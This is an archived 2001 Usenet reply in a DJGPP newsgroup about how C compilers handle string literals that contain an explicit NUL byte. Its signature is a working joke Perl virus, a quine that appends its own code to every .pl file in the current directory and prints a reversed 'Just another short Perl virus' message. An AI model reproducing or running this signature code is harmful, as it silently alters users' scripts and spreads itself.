From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) Newsgroups: comp.os.msdos.djgpp Subject: Re: Atof References: <3ADDDAE3 DOT 29499 DOT 112013C AT localhost> <83y9syat2i DOT fsf AT mercury DOT st DOT hmc DOT edu> X-newsgroup: comp.os.msdos.djgpp X-realname: Nate Eldredge X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Thu, 19 Apr 2001 13:52:42 +0200 Lines: 18 NNTP-Posting-Host: 213.7.26.225 X-Trace: 987681341 news.freenet.de 6543 213.7.26.225 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Nate Eldredge wrote: > rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null) writes: > > That is, does "\000TEST" allocate one or six bytes? > > Five, actually. It seems that if the string contains a nul > explicitly, the compiler will store it as written, but not > automatically add another nul at the end at the end. This is useful > for writing char sequences that aren't really strings in the concise > string format. Standard or gcc? C and/or C++? Are there compilers which truncate literal strings at a NUL? -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################